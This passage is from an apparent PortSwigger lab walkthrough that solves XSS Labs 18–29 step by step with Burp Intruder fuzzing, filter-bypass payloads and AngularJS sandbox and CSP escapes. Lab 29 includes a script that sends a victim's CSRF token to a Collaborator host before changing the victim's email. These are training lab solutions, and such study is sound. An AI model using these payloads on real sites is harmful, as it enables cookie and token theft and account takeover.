src="https://cdn-images-1.medium.com/max/1024/1*MAKZmtsnEphQOWLlrtc3pg.png" /></figure><p><strong>Step 9</strong>: Place the cursor before the = character and click “<strong>Add §</strong>” <strong>twice</strong>, to create a payload position. The value of the search term should now look like:<strong> &lt;body%20§§=1&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*cE55Ym1ifgDIhUm6TVG89Q.png" /></figure><p><strong>Step 10</strong>: Visit the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><strong>XSS cheat sheet</strong></a> and click “<strong>copy events to clipboard</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZYIWFrfmPJRMzmD85h3NQ.png" /></figure><p><strong>Step 11</strong>:In Burp Intruder, in the Payloads tab, click “<strong>Clear</strong>” to remove the previous payloads. Then click “<strong>Paste</strong>” to paste the list of attributes into the payloads list. Click “<strong>Start attack</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzS4Y6xPFeT1L2zKRR6h6w.png" /></figure><p><strong>Step 12</strong>:When the attack is finished, review the results. Note that all payloads caused an <strong>HTTP 400 response</strong>, except for the <strong>onresize</strong> payload, which caused a <strong>200 response</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*6lsEswnBCVgKrqmTTXvUOg.png" /></figure><p><strong>Step 13</strong>: Go to the exploit server and paste the following code, replacing <strong>YOUR-LAB-ID</strong> with your lab ID:</p><p><strong>&lt;iframe src=”</strong><a href="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E"><strong>https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E</strong></a><strong>&quot; onload=this.style.width=’100px’&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMSu2XD5op_y8c2bsgVlaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SArNZGON6dDYLz0TS3J3eg.png" /></figure><p><strong>Step 14</strong>: Click “<strong>Store</strong>” and “<strong>Deliver exploit to victim</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X5hxJt2N4LeJn3D_Lp7kTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAWHikg3qIaIoxdzc0FQiw.png" /></figure><p><strong>Lab 18: Reflected XSS into HTML context with all tags blocked except custom ones</strong></p><p><strong>Description:</strong></p><p>This lab blocks all HTML tags except custom ones.</p><p>To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts <strong><em>document.cookie</em></strong>.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Go to the <strong>exploit server</strong> and <strong>paste</strong> the following code, replacing <strong>YOUR-LAB-ID</strong> with your lab ID:</p><p><strong>&lt;script&gt;<br>location = ‘</strong><a href="https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x&#39;"><strong>https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x&#39;</strong></a><strong>;<br>&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0vHmX-262zWIsAEnsILWuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w_5Zl1ahhlt2p0HhxDhwEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nQZn-5R048QZwDzYTG9KvA.png" /></figure><p><strong>Step 3</strong>: Click “<strong>Store</strong>” and “<strong>Deliver exploit to victim</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nydv_dhcG_Ku74TEavfCDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sSFvp5bFu5IHwI18PfLAnQ.png" /></figure><p><strong>Lab 19: Reflected XSS with some SVG markup allowed</strong></p><p><strong>Description:</strong></p><p>This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.</p><p>To solve the lab, perform a cross-site scripting attack that calls the <strong>alert()</strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Inject a standard <strong>XSS payload</strong>, such as:<br><strong>&lt;img src=1 onerror=alert(1)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zKWQVHirEBzppYjC8Ewsg.png" /></figure><p><strong>Step 3</strong>: Observe that this payload gets blocked. In the next few steps, we’ll use <strong>Burp Intruder</strong> to test which tags and attributes are being blocked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ypYuJzxEJFyBsyVi3gGew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQ3F4kgeXQ_G3jFwMivEXw.png" /></figure><p><strong>Step 4</strong>: Open Burp’s browser and use the search function in the lab. Send the resulting request to <strong>Burp Intruder</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZJfE65bvPcR7uWB4vIyQg.png" /></figure><p><strong>Step 5</strong>: In <strong>Burp Intruder</strong>, in the Positions tab, click “<strong>Clear §</strong>” and replace the value of the search term with: <strong>&lt;&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ampsWQpXAv18q-JXwFg5Og.png" /></figure><p><strong>Step 6</strong>: Place the cursor between the angle brackets and click “<strong>Add §</strong>” <strong>twice</strong> to create a payload position. The value of the search term should now be: <strong>&lt;§§&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVkZXa5LqAlSeFlf9cABhg.png" /></figure><p><strong>Step 7</strong>: Visit the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><strong>XSS cheat sheet</strong></a><strong> </strong>and click “<strong>Copy tags to clipboard</strong>” and In <strong>Burp Intruder</strong>, in the Payloads tab, click “<strong>Paste</strong>” to paste the list of tags into the payloads list. Click “<strong>Start attack</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PUECqrkg1sYv9SclG8z4jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yeXnbq_WIvUQm3r6oRwInw.png" /></figure><p><strong>Step 8</strong>: When the attack is finished, review the results. Observe that all payloads caused an <strong>HTTP 400 response</strong>, except for the ones using the <strong>&lt;svg&gt;</strong>, <strong>&lt;animatetransform</strong>&gt;,<strong> &lt;title&gt;</strong>, and<strong> &lt;image&gt;</strong> tags, which received a <strong>200 response</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*dL61y_23wr-7H20QE5vtcA.png" /></figure><p><strong>Step 9</strong>: Go back to the Positions tab in <strong>Burp Intruder</strong> and replace your search term with:<br><strong>&lt;svg&gt;&lt;animatetransform%20=1&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBIml4K_1wnwY78qWTcNgw.png" /></figure><p><strong>Step 10</strong>: Place the cursor before the = character and click &quot;<strong>Add §</strong>&quot; <strong>twice</strong> to create a payload position. The value of the search term should now be:<br><strong>&lt;svg&gt;&lt;animatetransform%20§§=1&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGFKM_CFKBn9LZrB4ONyXw.png" /></figure><p><strong>Step 11</strong>: Visit the<a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><strong> XSS cheat sheet</strong></a><strong> </strong>and click “<strong>Copy events to clipboard</strong>”, In <strong>Burp Intruder,</strong> in the Payloads tab, click “<strong>Clear</strong>” to remove the previous payloads. Then click “<strong>Paste</strong>” to paste the list of attributes into the payloads list. Click “<strong>Start attack</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NZV3kSxht-slCRvCrprFJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FDwMwgReyh4auV_Jwb3kyQ.png" /></figure><p><strong>Step 12</strong>: When the attack is finished, review the results. Note that all payloads caused an<strong> HTTP 400 response</strong>, except for the <strong>onbegin</strong> payload, which caused a <strong>200 response</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*KdmUIWVA1WSDfpSyvWc9-w.png" /></figure><p><strong>Step 13</strong>: Inject the <strong>XSS Payload</strong> on<strong> Search</strong></p><p><strong>“&gt;&lt;svg&gt;&lt;animatetransform onbegin=alert(1)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mqtsxk1naLg4bKcwBOOq6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iIoLeMrmfYXbzyinNcITGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gsvx96W-uGe12Z2VKeEwzQ.png" /></figure><p><strong>Lab 20: Reflected XSS in canonical link tag</strong></p><p><strong>Description:</strong></p><p>This lab reflects user input in a canonical link tag and escapes angle brackets.</p><p>To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the <strong><em>alert</em></strong> function.</p><p>To assist with your exploit, you can assume that the simulated user will press the following key combinations:</p><p><strong><em>ALT+SHIFT+X<br> CTRL+ALT+X<br> Alt+X</em></strong></p><p>Please note that the intended solution to this lab is only possible in Chrome.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Inject XSS Payload after .<strong>net</strong> in URL</p><p><strong>?%27accesskey=%27x%27onclick=%27alert(1)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tgCZXPGZtlfPJeUOG-fQkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKlCTPWM4wHJv7x2zco9GA.png" /></figure><p><strong>Step 3</strong>: To trigger the exploit, press <strong>ALT+SHIFT+X </strong>(Windows Machine)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zx45TWmSU3ijri2ufCBEw.png" /></figure><p><strong>Lab 21: Reflected XSS into a JavaScript string with single quote and backslash escaped</strong></p><p><strong>Description:</strong></p><p>This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.</p><p>To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the <strong>alert</strong> function.</p><p>Explanation:</p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2: </strong>Try adding a random string like “<strong>test</strong>” on the search bar and Intercept with Burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gALHEvFYVnjXvzuqU-6YDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7FdxcWHjkxW3pGKFt2k-w.png" /></figure><p><strong>Step 3:</strong> Send to <strong>Repeater</strong> and check for the <strong>Response</strong>, it looks normal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dF8za6YArRNGJF5cQzZTWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8BNxDmu7ynTCJoOCmC9_kw.png" /></figure><p><strong>Step 4:</strong> Add<strong> test’payload</strong> and check for the<strong> Response</strong>, we notice it`s encoding <strong>‘ </strong>into <strong>&amp;apos</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8pL0KRvZ_bA3ZoADcqcOA.png" /></figure><p><strong>Step 5</strong>: Inject the<strong> XSS Payload</strong> on search and enter</p><p><strong>&lt;script&gt;&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_h6l5buU9W4FjHtt7as0Qw.png" /></figure><p><strong>Step 6</strong>: We noticed no changes so go to the <strong>URL</strong> inject the same payload on <strong>search</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iq1syVm2wqLrLouXi0qbkA.png" /></figure><p><strong>Lab 22: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped</strong></p><p><strong>Description:</strong></p><p>This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.</p><p>To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the <strong>alert</strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1: </strong>Acess the lab</p><p><strong>Step 2: </strong>Try adding a random string like “<strong>test</strong>” on the search bar and Intercept with Burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x1SoC1zomkp2vheA9tZqIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*g7FdxcWHjkxW3pGKFt2k-w.png" /></figure><p><strong>Step 3:</strong> Send to <strong>Repeater</strong> and check for the <strong>Response</strong>, it looks normal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWLJ1NeEIYMu7Uk-QSRs-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGfn75gcIzLXit9d1o69bQ.png" /></figure><p><strong>Step 4:</strong> Add<strong> test’payload</strong> and check for the<strong> Response</strong>, we notice it`s encoding <strong>‘ </strong>into <strong>&amp;apos</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAogGhhi6tP6EZDjYA0LEg.png" /></figure><p><strong>Step 5:</strong> Add<strong> test/payload</strong> and check for the<strong> Response</strong>, we notice it`s it reflects the same</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8bhiX1wphQsN0wwkDz1gg.png" /></figure><p><strong>Step 6</strong>: Inject the<strong> XSS Payload</strong> on search and enter</p><p><strong>\\’-alert(1)//</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxKGufauouRLt7Ngu87q6A.png" /></figure><p><strong>Step 7</strong>: We noticed no changes so go to the <strong>URL</strong> inject the same payload on <strong>search</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHd4nTAyWp8LdxTzsGxAZQ.png" /></figure><p><strong>Lab 23: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped</strong></p><p><strong>Description:</strong></p><p>This lab contains a stored cross-site scripting vulnerability in the comment functionality.</p><p>To solve this lab, submit a comment that calls the <strong>alert</strong> function when the comment author name is clicked.</p><p><strong>Explanation:</strong></p><p><strong>Step 1: </strong>Access the lab</p><p><strong>Step 2:</strong> In <strong>Homepage</strong>, go to <strong>View Post</strong> and fill up some random character on<strong> comment</strong> and click<strong> View Post</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IC9_3GT2EDDItLls5eYf1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-v42JxbX_1Znouz_V_DHw.png" /></figure><p><strong>Step 3:</strong> Refresh the page , Intercept with Burp and send the <strong>Request</strong> to <strong>Repeater</strong> and check for the <strong>Response</strong>, we noticed the string of the website navigate <strong>onclick</strong> function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PoAFUI93yFyS2H-QZ2fi8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GZb7e2gjmHPNf9_7wXiSrw.png" /></figure><p><strong>Step 4:</strong> Fill up some <strong>random string</strong> and on website, Inject the<strong> XSS Payload</strong> and click <strong>Post Comment</strong></p><p><a href="http://foo/?&amp;apos;-alert(1)-&amp;apos;"><strong>http://foo?&amp;apos;-alert(1)-&amp;apos;</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYcEqdIlp3TzN8ieFQ0iBw.png" /></figure><p><strong>Step 5:</strong> Go to <strong>View Post</strong> click the highlighted string and the <strong>XSS will reflect</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFWbX_IzbHduSFYn9tHPNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBIuTH3x9eiVvYSVdBiu3g.png" /></figure><p><strong>Lab 24: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped</strong></p><p><strong>Description:</strong></p><p>This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the <strong>alert</strong> function inside the template string.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> Enter some random character and Intercept with Burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NBepHcrxLY5ZjLksrYD5oQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nmKSvdcY0Sf3TkmAkYMDwg.png" /></figure><p><strong>Step 3: </strong>Send the Request to <strong>Repeater</strong> and check for the <strong>Response</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVxSWtlIaCG86ovPyZpKRg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kt0chZ-XkP4HpwqepRwpTw.png" /></figure><p><strong>Step 4:</strong> Inject the<strong> XSS Payload</strong> and Check for the <strong>Response</strong>, we notice the Payload has been sanitized, it&#39;s converted into <strong>Unicode Escape Sequence</strong></p><p><strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SU2RZGgdoOGcBvu8v-Z0NQ.png" /></figure><p><strong>Step 5:</strong> Let`s try other <strong>XSS Payload</strong> than bypass this filter</p><p><strong>${alert(1)}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9NKR5nMBRbwAfZ8IZlMug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bGRpICkxVpECQi1Q-ywiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-SwpOLolawSs9XXcaUiwnA.png" /></figure><p><strong>Lab 25: Reflected XSS with event handlers and href attributes blocked</strong></p><p><strong>Description:</strong></p><p>This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor <strong>href</strong> attributes are blocked..</p><p>To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the<strong> alert</strong> function.</p><p>Note that you need to label your vector with the word “Click” in order to induce the simulated lab user to click your vector. For example:<br><strong>&lt;a href=””&gt;Click me&lt;/a&gt;</strong></p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> Inject XSS Payload and noticed that shows Tag is not allowed</p><p><strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jeR51vw1IF9gWfk3dm_Byg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBwYQG2Wq9skcp-QAwxh-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wnHCqB4nFK-KkxkaxI0vtA.png" /></figure><p><strong>Step 3:</strong> Let`s Inject <strong>another XSS Payload on URL </strong>after <strong>?search=</strong></p><p><strong>%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xd1o1LAanpCFO1BGnmFJLA.png" /></figure><p><strong>Step 4:</strong> Click on<strong> Click Me</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mNYAuJ0KsLHrtS9lGAetw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6mwaNo4fbEnLCV8NHB-oXg.png" /></figure><p><strong>Lab 26: Reflected XSS in a JavaScript URL with some characters blocked</strong></p><p><strong>Description:</strong></p><p>This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.</p><p>To solve the lab, perform a cross-site scripting attack that calls the <strong>alert</strong> function with the string <strong>1337</strong> contained somewhere in the alert message.</p><p><strong>Explanation:</strong></p><p><strong>Step 1: </strong>Access the lab</p><p><strong>Step 2:</strong> On the <strong>Homepage</strong>, go to <strong>View Post</strong> and <strong>Inject XSS Payload </strong>on the URL bar after the<strong> postId=value</strong></p><p><strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4ikvYV__UQhm120-hn7KA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXWJsmgmgnkTqHZMXqYqmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBSBeSaSmUOIbPhEPs_vag.png" /></figure><p><strong>Step 3:</strong> We noticed the payload is not working because it has been sanitized. Try another complex <strong>XSS Payload</strong></p><p><strong>&amp;%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*94KpnyE-lbvvkQVaVvXSsA.png" /></figure><p><strong>Step 4:</strong> Once payload has been injected, click<strong> Back to Blog</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkPaIctyPWUEfHCU86haig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y259fvvTVFHdtf87rdlilg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mYT39o9DfYjw9RsinMd2sQ.png" /></figure><p><strong>Lab 27: Reflected XSS with AngularJS sandbox escape without strings</strong></p><p><strong>Description:</strong></p><p>This lab uses AngularJS in an unusual way where the <strong>$eval</strong> function is not available and you will be unable to use any strings in AngularJS.</p><p>To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the <strong>alert </strong>function without using the <strong>$eval </strong>function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1: </strong>Access the lab</p><p><strong>Step 2: </strong>On the <strong>Homepage</strong>, type <strong>test </strong>on the<strong> search bar</strong> and <strong>Inspect Element</strong> and check where the string is reflects</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Sncq5exvPfiz6T1jfP2aA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fEGptIGgIiUrRlEjfdAn4Q.png" /></figure><p><strong>Step 3:</strong> We noticed the <strong>string</strong> is in <strong>AngularJS sandbox</strong> , so let&#39;s inject<strong> XSS Payload</strong> on the URL after <strong>test</strong></p><p><strong>&amp;toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1</strong></p><blockquote><strong>NOTE: The alert(1) will not pop-up on Firefox, try on Chrome</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qxLhnZ0kQwhZwviXEQbR3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GgCYnKPlWu24BF5JvqQTvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5B-yA_Rrt5TZx5AMBVIlw.png" /></figure><p><strong>Lab 28: Reflected XSS with AngularJS sandbox escape and CSP</strong></p><p><strong>Description:</strong></p><p>This lab uses CSP and AngularJS.</p><p>To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts <strong>document.cookie</strong>.</p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2: </strong>Click<strong> Go to exploit server</strong>, and paste this code<strong>(XSS Payload)</strong></p><p><strong>&lt;script&gt;<br>location=’</strong><a href="https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x&#39;;"><strong>https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x&#39;;</strong></a><strong><br>&lt;/script&gt;</strong></p><blockquote><strong>NOTE: Make sure change </strong><a href="https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x&#39;;"><strong>YOUR-LAB-ID</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vUUYS0Guky8Ay0mwvjK8DA.png" /></figure><p><strong>Step 3: </strong>Click <strong>Store</strong>, then <strong>Deliver exploit to victim</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0crc1bNiDK_vfDC2jaqSgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Dd9bmFGkMAMXZR_Wtb-xw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvI8g3VVk0TEIY1Adj7EKg.png" /></figure><p><strong>Lab 29: Reflected XSS protected by very strict CSP, with dangling markup attack</strong></p><p><strong>Description:</strong></p><p>This lab using a strict CSP that blocks outgoing requests to external web sites.</p><p>To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user’s CSRF token using Burp Collaborator. You then need to change the simulated user’s email address to <a href="/service/mailto:hacker@evil-user.net"><strong>hacker@evil-user.net</strong></a><strong> </strong>.</p><p>You must label your vector with the word “Click” in order to induce the simulated user to click it. For example:<br><strong>&lt;a href=””&gt;Click me&lt;/a&gt;</strong></p><p>You can log in to your own account using the following credentials: <strong>wiener:peter</strong></p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> On the <strong>Homepage</strong>,Go to <strong>My Account</strong> and fill up the credentials given</p><blockquote><strong>wiener:peter</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*N10O7-kZCCC0loKQxME3yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*5Mp6q73inSejKTEbq7pu6g.png" /></figure><p><strong>Step 3: </strong>Open <strong>Burp</strong>, go to <strong>Burp Collaborator </strong>and also Go to <strong>Exploit Server</strong> on the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hF_R49tXaqGrQ72Zy1nJGw.png" /></figure><p><strong>Step 4:</strong> <strong>Copy to clipboard</strong> from <strong>Burp Collaborator</strong> and Add this syntax on the body of <strong>Exploit Server</strong></p><p><strong>&lt;script&gt;<br>if(window.name) {<br> new Image().src=’//BURP-COLLABORATOR-SUBDOMAIN?’+encodeURIComponent(window.name);<br> } else {<br> location = ‘https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27&#39;;<br>}<br>&lt;/script&gt;</strong></p><blockquote><strong>NOTE: Change the value that mentioned to change in the syntax. The solution code given from Port Swigger is not working.Try the above code</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YgpvYJA3qywljFm0brfevg.png" /></figure><p><strong>Step 5:</strong> Click <strong>Store </strong>and <strong>Deliver exploit to victim </strong>and open <strong>Burp Collab</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7MpZrV6e9g4hvKTxL-CEVg.png" /></figure><p><strong>Step 6:</strong> Go to <strong>HTTP</strong> and copy the <strong>CSRF Value</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X16sKWjQYk4YWRFjKcDp9A.png" /></figure><p><strong>Step 7:</strong> On the <strong>My Account</strong>, type <strong>hacker@evil-user.net</strong> and click <strong>Update mail</strong></p><blockquote><strong>NOTE: Make sure it`s intercept with Burp</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*N0TvahI_8C4ZSPUc-Sm3Kw.png" /></figure><p><strong>Step 8:</strong> change the<strong> email </strong>and <strong>CSRF value</strong> and then <strong>Right Click → Engagement Tools → Generate CSRF PoC</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*0TtHcX_wNolAIrxa_0skBA.png" /></figure><p><strong>Step 9: </strong>Go to <strong>Option → Include Auto-submit → Regenerate → Copy HTML</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*HOTdvYlf-ZMtnDgqNgIwTA.png" /></figure><p><strong>Step 10:</strong> Paste the<strong> Copied HTML</strong> on <strong>Server Exploit </strong>then <strong>Deliver exploit to victim</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*zX0T2NNqWd5uu1IOkF-vlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p2DuGwYoGWokP0WoRFTyzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GDoAwbQ75_OiFhe6OZPeNg.png" /></figure><p><strong>Lab 30: Reflected XSS protected by CSP, with CSP 